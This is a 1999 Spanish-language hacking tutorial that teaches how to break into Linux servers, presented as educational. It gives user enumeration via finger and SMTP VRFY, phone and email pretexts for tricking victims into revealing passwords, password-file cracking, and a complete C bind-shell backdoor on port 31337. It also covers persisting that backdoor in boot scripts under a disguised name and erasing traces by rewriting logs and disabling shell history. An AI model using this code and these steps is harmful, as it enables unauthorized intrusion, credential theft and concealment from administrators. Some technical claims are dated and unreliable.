Como hackear Linux


Autor: Jackal
Versión: 1.0 revisada 1999
Espero comentarios. Si teneis algo que mejorar, criticar, etc.. envíame un email.
NOTA: este texto esta creado con fines puramente educativos.


¿Por qué Linux y no NT o SunOS?

 
Muy sencillo, Linux esta avanzando muchísimo y hoy por hoy, según estudios realizados por revistas y empresas especializadas es el Sistema Operativo (SO a partir de ahora) más usado en la instalación de Servidores de INTERNET.
Ahora, en 1999 el crecimiento de usuarios de Linux a crecido pero las razones de su uso son muchas y muy diversos. Yo llegaría a equipararlo con el movimiento Hippie de los 60. Revolucionario, el software libre, el control total del sistema son sus bazas, pero no todo va a ser tan bonito, linux es un muy buen sistema operativo, pero como todo,tiene fallos.
En el texto voy a explicar, o intentarlo, algunos metodos para conseguir hackear un sistema linux.

Sacando toda la informacion posible de la maquina.


Cuanto más se sepa de la máquina, mejor y más fácil sería todo. En definitiva se trata de obtener las versiones de sus daemons,como pueden ser ftp,sendmail,etc, los puertos que tiene abiertos y toda informacion que nos pueda ser util.
Para conseguir las versiones de los demonios se accede al puerto en cuestion, y normalmente solo con eso se nos muestra una linea o dos con informacion.
Aquí tienes una lista de los puerto. Creo que están todos o casi todos.
echo 7/tcp
echo 7/udp
discard 9/tcp sink null
discard 9/udp sink null
systat 11/tcp
systat 11/tcp users
daytime 13/tcp
daytime 13/udp
netstat 15/tcp
qotd 17/tcp quote
qotd 17/udp quote
chargen 19/tcp ttytst source
chargen 19/udp ttytst source
ftp-data 20/tcp
ftp 21/tcp
telnet 23/tcp
smtp 25/tcp mail
time 37/tcp timserver
time 37/udp timserver
rlp 39/udp resource # resource location
name 42/tcp nameserver
name 42/udp nameserver
whois 43/tcp nicname # usually to sri-nic
domain 53/tcp nameserver # name-domain server
domain 53/udp nameserver
nameserver 53/tcp domain # name-domain server
nameserver 53/udp domain
mtp 57/tcp # deprecated
bootp 67/udp # boot program server
tftp 69/udp
rje 77/tcp netrjs
finger 79/tcp
link 87/tcp ttylink
supdup 95/tcp
hostnames 101/tcp hostname # usually from sri-nic
iso-tsap 102/tcp
dictionary 103/tcp webster
x400 103/tcp # ISO Mail
x400-snd 104/tcp
csnet-ns 105/tcp
pop 109/tcp postoffice
pop2 109/tcp # Post Office
pop3 110/tcp postoffice
portmap 111/tcp
portmap 111/udp
sunrpc 111/tcp
sunrpc 111/udp
auth 113/tcp authentication
sftp 115/tcp
path 117/tcp
uucp-path 117/tcp
nntp 119/tcp usenet # Network News Transfer
ntp 123/udp ntpd ntp # network time protocol (exp)
nbname 137/udp
nbdatagram 138/udp
nbsession 139/tcp
NeWS 144/tcp news
sgmp 153/udp sgmp
tcprepo 158/tcp repository # PCMAIL
snmp 161/udp snmp
snmp-trap 162/udp snmp
print-srv 170/tcp # network PostScript
vmnet 175/tcp
load 315/udp
vmnet0 400/tcp
sytek 500/udp
biff 512/udp comsat
exec 512/tcp
login 513/tcp
who 513/udp whod
shell 514/tcp cmd # no passwords used
syslog 514/udp
printer 515/tcp spooler # line printer spooler
talk 517/udp
ntalk 518/udp
efs 520/tcp # for LucasFilm
route 520/udp router routed
timed 525/udp timeserver
tempo 526/tcp newdate
courier 530/tcp rpc
conference 531/tcp chat
rvd-control 531/udp MIT disk
netnews 532/tcp readnews
netwall 533/udp # -for emergency broadcasts
uucp 540/tcp uucpd # uucp daemon
klogin 543/tcp # Kerberos authenticated rlogin
kshell 544/tcp cmd # and remote shell
new-rwho 550/udp new-who # experimental
remotefs 556/tcp rfs_server rfs# Brunhoff remote filesystem
rmonitor 560/udp rmonitord # experimental
monitor 561/udp # experimental
garcon 600/tcp
maitrd 601/tcp
busboy 602/tcp
acctmaster 700/udp
acctslave 701/udp
acct 702/udp
acctlogin 703/udp
acctprinter 704/udp
elcsd 704/udp # errlog
acctinfo 705/udp
acctslave2 706/udp
acctdisk 707/udp
kerberos 750/tcp kdc # Kerberos authentication--tcp
kerberos 750/udp kdc # Kerberos authentication--udp
kerberos_master 751/tcp # Kerberos authentication
kerberos_master 751/udp # Kerberos authentication
passwd_server 752/udp # Kerberos passwd server
userreg_server 753/udp # Kerberos userreg server
krb_prop 754/tcp # Kerberos slave propagation
erlogin 888/tcp # Login and environment passing
kpop 1109/tcp # Pop with Kerberos
phone 1167/udp
ingreslock 1524/tcp
maze 1666/udp
nfs 2049/udp # sun nfs
knetd 2053/tcp # Kerberos de-multiplexor
eklogin 2105/tcp # Kerberos encrypted rlogin
rmt 5555/tcp rmtd
mtb 5556/tcp mtbd # mtb backup
man 9535/tcp # remote man server
w 9536/tcp
mantst 9537/tcp # remote man server, testing
bnews 10000/tcp
rscs0 10000/udp
queue 10001/tcp
rscs1 10001/udp
poker 10002/tcp
rscs2 10002/udp
gateway 10003/tcp
rscs3 10003/udp
remp 10004/tcp
rscs4 10004/udp
rscs5 10005/udp
rscs6 10006/udp
rscs7 10007/udp
rscs8 10008/udp
rscs9 10009/udp
rscsa 10010/udp
rscsb 10011/udp
qmaster 10012/tcp
qmaster 10012/udp

Los puertos realmente importantes son: ftp(21), telnet(23), sendmail(25), finger(79), http(80), pop(110) y imap(143).


Estos son los que mas usaremos a la hora de hackear.Para sacar informacion de cada uno de ellos basta con ir haciendo telnets uno por uno.
telnet maquina.com 21 --> te dice la version del ftp
telnet maquina.com 23 --> te dice la version del sistema operativo
Aunque no este explicado, estos comandos son de telnet, es decir, de esa utilidad que habre una consola remota del sistema.
Otra cosa interesante es hacer un scaneo de puertos a la máquina. La mayoría de script de mirc tienen esas opciones, concretamente yo probé el irCap y ese si lo tenía. Para los que usan otros sistemas operativos, Linux por ejemplo, solo hayque pasarse por cualquier página de hackers y encontrar el programa adecuado.

Utilización de otros puertos distintos al telnet


El puerto del finger(79) se usa para conseguir informacion de los usuarios de esa maquina. Se usa simplemente con:
telnet maquina.com 79 -->te dice los usuarios conectados
Si obteneis una respuesta como:
"telnet: Unable to connect to remote host: Connection refused"
Es que o tiene activado un firewall, en español cortafuegos, o tiene cerrado el puerto del finger. Si se conecta sin problemas, simplemen tetecleando un nombre de usuario conseguireis informacion sobre el.
No os preocupeis si lo que escribais no sale en pantalla, es porque tiene el eco redireccionado a una salida nula. Si por ejemplo tecleais "victima", y resulta que alguien tiene ese nombre de usuario (login), os saldra algo como esto:
Red Hat Linux released 6.0 (Hewing)
Kernel 2.2.9 on a i586
Login: victima
Name: Nombre completo
Directory: /home/victima
Shell: /bin/bash
Last login Sun May 10 22:11 (CEST) on tty3
No mail.
No Plan.


Como veis, ya teneis mucha información de una posible victima. Ya solo queda hecharle imaginación.
Puedes buscar en la guía telefónica su número de reléfono, decirle que eres del servidor de internet que tiene contratado y que necesitas hacer una serie de comprobaciones. A continuación le pides la pass para asegurarnos que es él y no una equivocación de alguien que quiere engañarnos, y listo, ya tienes su login y su pass.
Otra opción es enviarle un mail haciendonos pasar por el root del sistema y pidiendo su password con la misma excusa, pero esto esta muy visto. Yo particularmente, y continuando el fin educativo de este mail, no doy mi pass ni por emilio ni por teléfono, y muy raras veces o casi ninguna en persona. Las claves son mias y solo mías, y el root no necesita saberla, el puede hacer con mi cuenta lo que quiera sin saber mi pasword.


Dicho esto, continuamos con la técnica.
Se puede usar sendmail (25) para conseguirse un resultado similar. La cuestion es que muchos proovedores de internet (por lo menos en españa), en vez de usar un servidor para correo entrante (pop-110) y otro para correo saliente (smtp-25) usan uno solo para las dos cosas, y si usan dos pues en el de correo entrante dejan abierto el puerto de smtp. Pues bien, si haceis un telnet al servidor de correo entrante al puerto 25, y luego usais el comando vrfy para verificar si existe un usuario en cuestion muchas veces os devolvera el nombre del usuario completo.


Ejemplo:
Un tio tiene de mail victima@servidor.es
Pues poneis:
telnet pop.servidor.es 25
Una vez este el puerto abierto, tecleamos el siguiente comando
vrfy victima
y os devolvera algo como:
Nombre de la victima victima@servidor.es
Bueno, siguiendo la tónica de antes, si buscamos en la guía o demás, la imaginación al vuelo.

Conseguir una cuenta de usuario del sistema


¿En qué consiste eso de conseguir cuentas? muy sencillo, nuestro sistema Linux se encuentra formado por una serie de usuarios que están accediendo al servidor, tienen su espacio web y su dirección de correo electrónico.
En la siguiente sección comentaremos un poco como es el fichero más perseguido de todos los servidores, el etc/passwd y veremos las cuentas de usuarios que tenemos.
El fichero /etc/passwd
Una vez que tienes una cuenta lo siguiente es conseguir el fichero de pass de los uruarios. Normalmente esta en /etc/passwd, pero puede estar shadow, estando entonces lo importante en /etc/shadow.


Normalmente los sistemas linux no se preocupan por quien mira los passwords de los usuarios encriptados (por algo estan encriptados), o sea que el fichero /etc/passwd que es donde se guardan los pass es visible para todo el mundo. En cambio hay sitios donde la seguridad ya es mas necesaria y el archivo con los pass no es visible para todo el mundo, es entonces cuando se dice que esta shadow.


¿Te preguntarás para qué necesitas el fichero /etc/passwd? muy sencillo, porque de nada nos sirve la cuenta de usuario que tenemos pues la que de verdad necesitamos es la de root.
¿Por qué?, pues porque el root es el único que gestiona todo, mail, cuentas de usuarios, puertos habiertos, instalación de programas, etc... por eso se dice que en Linux/Unix el virus es prácticamente inexistente, porque el root controla todo.


Vamos a analizar una linea del /etc/passwd de un sistema que no este shadow:


jackal:x2rFys28wHAAy:501:508:Juan Antonio:/home/jackal:/bin/bash
jackal --> este es el nombre de usuario (login)
x2rFys28wHAAy --> password encryptado
501 --> este es el uid del usuario
508 --> este es el grupo al que pertenece (gid)
Juan Antonio --> nombre completo del usuario
/home/jackal --> directorio home de jose
/bin/bash --> shell de jose


Lo de 501 y 508 sirve para identificar al usuario y a su grupo, ya que linux por ejemplo no lo identificara por jackal sino por 503, por lo tanto cualquier usuario con uid igual a 503 sera como si fuera a todos los efectos jackal. El root siempre tendra el uid igual a 0
Lo que mas nos interesa es el password.


Unix/Linux usa un sistema de encriptación prácticamente imposible de descifrar. Si a eso unimos la táctica de Linux/Unix de no guardar en ningún sitio la lista de passwords pues se suma a la inmensa lista de ventajas.


Os preguntareis entonces ¿como sabe si la pass es correcta?, pues muy sencillo de explicar, Linux pide al usuario el login y el pass.


Red Hat Linux released 6.0 (Hewing)
Kernel 2.2.9 on a i586
jackalhost login: tecleamos el login jackal
Passwd: ********


Una vez aquí, el sistema coge esa clave ********** y la encripta con el algortimo que tiene. Y la salida la compara con la existente en el fichero /etc/passwd y en la linea correspondiente a jackal:x2rFys28wHAAy...... si coincide la que el encriptó con la que existe, todo solucionado, login aceptado y entrada al sistema.
Pero, podríais pensar que simplemente accediendo al fichero /etc/passwd podríamos borrar la parte de la clave y dejarla en blanco. A mi también se me ocurrió, pero seguimos teniendo presente la presencia de ese root. El fichero /etc/passwd y muchos más solo pueden ser escritos y reeditados por el root y solo el y los pertenecientes al grupo root pueden hacerlo.


Eso de decir pertenecientes, viene porque la posibilidad de tener varios administradores del sistema es posible en Unix/Linux, simplemente incluyendo las cuentas que tendrán esos privilegios y serán root.


No es conveniente hacer esto pues el root se dará cuenta enseguida si tiene alguien en su grupo, y mucho más rapido si no tenía a nadie y el era solo el único.


En la red existen multitud de crackeadores de passwords que se encargan de genera mediante un diccionario de palabras todas las conbinaciones posibles y encriptarlas con el sistema de encriptación del sistema Unix/Linux. Estos programas sacan en un fichero de texto todas las palabras que encriptadas coincidian con la pass de la linea que queríamos. Digo línea por que el metodo es el siguiente:


Bajo del servidor el fichero /etc/passwd
A continuación observo y decido que la linea que quiero crackear es la 1 que tiene la cuenta de root.
Se llama al programa:
programa line 1 fichero_destino
En el fichero destino se habrá escrito una infinidad de palabras que coincidian al encriptarse con la del usuario......en casi todos sus caracteres.


Lo que pasa es que hay veces en los que conseguir el fichero de pass no es tansencillo. Puede estar shadow por ejemplo, o no tener acceso al directorio donde se encuentre. Si el fichero esta shadow, en /etc/passwd las lineas seran algo como:


jackal:x:501:508:Juan Antonio Pérez:/home/jackal:/bin/bash
Entonces lo que falta, el pass, se encuentra encriptado en /etc/shadow, pero con permisos solo de lectura y escritura para el root para no variar, de forma que nosotros no podremos leerlo.
Aqui es donde estra la técnica. Hay varias formas de conseguir el fichero, como por ejemplo con variasllamadas a getpwent.


El programa que a continuación pongo sirve para los dos casos, que no tengamos acceso al directorio o al /etc/passwd, o que este shadow.


Para ejecutarlo se puede poner........ "./conseguirpass >nombrefichero" y luego ese nombrefichero se baja por ftp.
Ese >nombrefichero significa que el fichero generado se crea en nombrefichero y tiene las pass completas (encriptadas claro) del fichero etc/passwd o shadow.


El programa no es mio, sino que lo saque de internet, no recuerdo de donde pero.... funciona ;).

Por fin lo más perseguido: el acceso como "root"
Depués de haber hecho todo esto, tienes en tu poder una cuenta de usuario y ya solo te queda conseguir la clave de "root" y hackear el sistema.


Recuerda que root es el administrador del sistema y que tiene permiso para hacer TODO. Yo suelo pensar además que el "root" es muy listo y que no debemos de confiarnos de nada. Si crees que eres un experto por haber hecho esto, espera a ver de lo que es capaz el "root" cuando te descubra y lo que puede saber sobre sistemas informáticos y protección del sistema.


El root normalmente tendrá experiencia y habrá tendido muchas trampas. Yo particularmente he visto como con un firewal bien programado por uno, es capaz de hacerte creer que estas viendo el fichero /etc/passwd pero en realidad estas en el directorio /caiste/novato/etc/passwd y este fichero esta llenito de login y pass y fáciles de encontrar las claves, con eso de las claves más usadas por los "root" hasta hace poco , Dios, Jefe, etc... incluso con el nombre propio de los mismos.


Antes de intentar hacer nada recomiendo que hagais un "who" para ver si el root esta conectado, ya que si haceis cosas raras y esta delante del ordenata pues a lo mejor se mosquea y se acabo el juego, pues seguro que sabrás como joderte a tí antes que tu a él y te cortará el acceso a todo y encima, cogerá tu ip, llamará a tu servidor, pedirá información tuya y ... dejemoslo vale.


Si se tiene acceso fisico al ordenador, y tiene el Lilo (linux loader) instalado pues es muy sencillo. Basta con poner en el prompt al arrancar el sistema:


LILO boot: linux single
y te carga el linux normalmente solo que con shell de root y sin pedir ni login, ni pass, ni nada. Supongo que si en vez de "linux", lo tienes configurado para que arranque con la palabra "redhat" pues seria "redhat single".


Si no tienes acceso físico a la maquina (lo mas normal), tendrás que aprovechar algun fallo (bug) de la distribucion, o un xploit.
Los xploits sirven para explotar los bugs del sistema (la misma palabra lo dice), ya que por ejemplo para sobreescribir un buffer no los vas a hacer tecleando desde el shell, sino que lo hace un un programita en C. Hay muchisimos bugs y exploits circulando por ahi asi que , !a buscar!........


Por cierto,si alguien no lo sabia, los archivos en C se compilan con cc -o fichero fichero.c, siendo fichero el ejecutable y fichero.c el codigo fuente, y tienes que subir el xploit por ftp a la maquina y luego compilarlo en ella.

Ahorrandonos repetir todo el proceso: Puertas Traseras
Estaría bueno que tuvieramos que repetir todo el proceso cada semanita que queramos hacer algo en ese servidor. Pues si, además puede que el root se haya dado cuenta de algo raro y cambie la pass, por lo que el proceso sería una auténtica experiencia, eso sí, serías capaz de acerlo a la tercera vez con cualquier sistema con los hojos cerrados, pero amigo mío, en informática hay dos cosas inportantes que he aprendido en la carrera: el algoritmo de divide y vencerás y la modularidad. A esto último me ceñiré. Si alguien es capaz de hacer un modulo que haga cálculos matemáticos, para que voy a molestarme en programar uno quehaga exactamente lo mismo si ya esta hecho. Pues algo parecido , si ya lo hice una vez, aprovecho que estuve y dejo una puertecita abierta para cuando quiera volver.


Lo mas comodo es instalar una "backdoor" o puerta trasera. Una puerta trasera es una manera de entrar en un sistema de forma que nadie se entere de que has entrado, sin logs ni rollazos, y consiguiendo el root al momento.


Por supuesto para instalar una tienes que haber conseguido el root anteriormente.


Normalmente se instalan sobreescribiendo un fichero del sistema por uno modificado, es decir,un troyano. Por ejemplo, sobreescribes el /bin/login por uno que te deje entrar con un login: pass que definas tu y sin dejar ningun log. Hay por ahi bastantes troyanos del login, pero todos tienen un defecto, ¿que pasa si el passwd esta shadow?


Otro metodo consiste en crear un puerto en la maquina con un numero raro y que al hacer un telnet a ese puerto te de una shell de root sin pass y sin logs.


Este programa crea un puerto que tu le digas (lo defines en PORT), y al conectar con ese puerto ejecuta el /bin/sh con privilegios del que ejecuto el programa. Es decir que si lo ejecuto el root tiene privilegios de root, si lo ejecuto pepe tiene privilegios de pepe,etc.
Para instalarlo tienes que compilarlo con cc -o file file.c, y luego lo instalas ejecutandolo simplemente con ./file.


Luego desde tu casa haces un "telnet maquina 31337" o el que sea y ya estas dentro. Para ejecutar comandos tienes que poner siempre ;, es decir "ls;","who;",etc. y para desconectarte hay que poner "exit;".


Otra ventaja es que el root una vez terminado esta ejecución no sabrá que estuvisteis pues no se guardará en ningun sitio la presencia de ejecución de este programa.


---------- comienzo -----------
/* quick thingy... bind a shell to a socket... defaults to port 31337 */
/* code by pluvius@io.org */
/* don't forget.. when you connect to the port.. commands are like: */
/* "ls -l;" or "exit;" (don't forget the ';') */
#define PORT 31337
#include <stdio.h>
#include <signal.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
int soc_des, soc_cli, soc_rc, soc_len, server_pid, cli_pid;
struct sockaddr_in serv_addr; struct sockaddr_in client_addr;
int main () { soc_des = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if (soc_des == -1) exit(-1); bzero((char *) &serv_addr, sizeof(serv_addr));
serv_addr.sin_family = AF_INET; serv_addr.sin_addr.s_addr = htonl(INADDR_ANY);
serv_addr.sin_port = htons(PORT); soc_rc = bind(soc_des, (struct sockaddr *)
&serv_addr, sizeof(serv_addr)); if (soc_rc != 0) exit(-1); if (fork() != 0)
exit(0); setpgrp(); signal(SIGHUP, SIG_IGN); if (fork() != 0) exit(0);
soc_rc = listen(soc_des, 5); if (soc_rc != 0) exit(0); while (1) { soc_len =
sizeof(client_addr); soc_cli = accept(soc_des, (struct sockaddr *) &client_addr,&soc_len); if (soc_cli < 0) exit(0); cli_pid = getpid(); server_pid = fork();
if (server_pid != 0) { dup2(soc_cli,0); dup2(soc_cli,1); dup2(soc_cli,2);
execl("/bin/sh","sh",(char *)0); close(soc_cli); exit(0); } close(soc_cli);}}
---------- final ----------


Pero que pasa si el root resetea ? Pues que el programa se cierra, evidentemente.


Para ello yo recomiendo copiar el programa ya compilado a /etc/rc.d/init.d/ con un nombre como stoke, o alguno que no suene raro.


Luego editais el fichero /etc/rc.d/rc y en mitad del fichero para que no cante mucho le añadis la linea /etc/rc.d/init.d/stoke.
Asi si se resetea el ordenata no importa porque arrancara el programa de nuevo con privilegios de root.


Algo IMPORTANTE: no dejar huellas


En el sistema operativo windows no suele dejar ningún log , solo Win NT.
Los unicos log por los que te puedes preocupar es cuando tienes acceso fisico a las webs, los logs del MIRC.
La solución es hacer un zaper, pequeño programa donde puedas poner esto


@ echo off
cls
del c:\Recycled\*.*
del c:\windows\temp\*.temp
del c:\windows\tempor~1\*.*
del c:\windows\recent\*:*
del c:\archiv~1\nestcape\navigator\cache\*.html
del c:\archiv~1\nestcape\navigator\cache\*.htm
del c:\archiv~1\nestcape\navigator\cache\*.gif
cls
exit

En Unix/Linux, si no borras todas las huellas que has ido dejando (que son muchas) pueden pillarte con todas sus consecuencias.
Los ficheros de logs varian de un linux a otro, pero mas bien varian de directorio, todo lo demas se mantiene.


Un encargado de grabar nuestros logs es elsyslog. Este es un demonio que guarda diferentes tipos de logs como los usuarios que se conectaron,su ip,etc. Para ver exactamente que logs guarda y en que ficheros puedes hacer:


cat /etc/syslog.conf
de esta forma veras exactamente que es lo que hace. Normalmente los guarda en /var/log, y los mas importantes son messages, secure y xferlog.


Estos son ficheros de textos normales, por lo que modificarlos es muy sencillo.


Messages es un poco de todo, guarda los usuarios que se conectaron, su ip, etc.. Secure guarda solo las ips y los demonios que usaron, por ejemplo que 195.32.2.1 se conecto al ftp el 1 de mayo a las 2 de la tarde, pero no guarda los ficheros que te bajaste ni nada. Y xferlog es un fichero solo del ftp, es decir guarda conexiones, ficheros que te bajaste, etc.


Para borrarlo es muy sencillo.


Tu ip es 195.174.83.56 (bueno, tu host mejor dicho), para borrarla del /var/log/messages se ejecuta


grep -v 195 /var/log/messages > mes


Ahora en el fichero mes tienes una copia del messages pero sin las lineas en las que aparece 195, luego lo copias sobreescribiendo /var/log/messages.


Lo mismo con los otros ficheros antes comentado.
Pero todavia hay mas ficheros de logs. Por ejemplo el bash guarda una copia de todos los comandos utilizados en el directorio home en un fichero llamado .bash_history. Para evitarlo pon en mitad de una sesión


unset HISTFILE


ya que el log se actualiza cuando cierres la conexion. Es decir, si por ejemplo te conectas y borras el .bash_history no te servira de nada, ya que los comandos los escribe cuando te desconectes del server. En cambio si pones unset HISTFILEno los escribira cuando desconectes.


Otros ficheros de logs importantes son:


Lastlog --> Se encuentra normalmente en /var/log/lastlog,y guarda cuando se conecto por ultima vez un usuario y desde donde.
Wtmp --> Se encuentra normalmente en /var/log/wtmp, y guarda los nombres y las ips de todos los usuarios que se conectaron alguna vez a la maquina.
Utmp --> Se encuentra normalmente en /var/run/utmp, y guarda los usuarios quese encuentran conectados en ese momento a la maquina.


Muchos sistemas linux tienen 2 logs ademas de los tipicos "lastlog, utmp y wtmp" que suelen ser "xferlog" y "messages", hasta la fecha no he visto zapper alguno ke elimine nuestras huellas del xferlog y el messages asi ke hay ke hazerlo a mano pues guardan la ip de todas las conexiones telnet y ftp y la hora en que han sido efectuadas desde ese sistema o hacia el.


Estos ficheros xferlog y messages estan en modo texto y pueden ser editados facilmente con el vi (editor de textos de Linux) pero el problema es que suelen ocupar muchos megas y el vi no deja cargar remotamente un archivo tan grande. Suelen estar en /var/log o /var/adm y para borrarlos no es bueno hazer un rm, pues incluso probándolo en el ordenador propio, no borrará más de 50 líneas.

 Para saber que tal puedes teclear lo siguiente:


$wc -l /var/log/messages
129300 /var/log/messages
$head -n 129250 /var/log/messages >prueba
$mv prueba /var/log/messages


La primera linea informa de cuantas lineas tiene el archivo messages,la segunda linea le dice a linux que copie 129250 lineas del archivo /var/log/messages al archivo prueba y luego sobreescribo el "messages" con "prueba" que es identico al messages excepto que le faltan las 50 lineas del final que nos delataban.

Sniffers


Un sniffer es un programa que se usa para conseguir mas password de otros sitios a partir de una maquina que ya hayas hackeado y de la que tengas el control. Es decir, una vez que eres root de un ordenador, ¿que te impide instalar un programa que grabe en un log el principio de las sesiones de ftp y telnet (u otros) que se abran desde esa maquina? Por ejemplo, que grabe las 10 primeras lineas de todas las sesiones de unos determinados puertos. Como es logico entre esas diez lineas iran el login y el password, por lo que podras conseguir cuentas de otros ordenadores facilmente. Pues bien, eso es lo que hace un sniffer.


Me falto decir que el sniffer solo funciona si tienes el ordenador conectado en red a traves de una tarjeta ethernet. Es decir,que si consigues hackear el ordenador de un colega, no le pongas un sniffer porque (a no ser que lo tenga conectado en red, claro) no te servira de nada, igualmente que si lo intentas instalar en tu propia maquina.




© Jackal 1999
Los programas no han sido programados por el autor.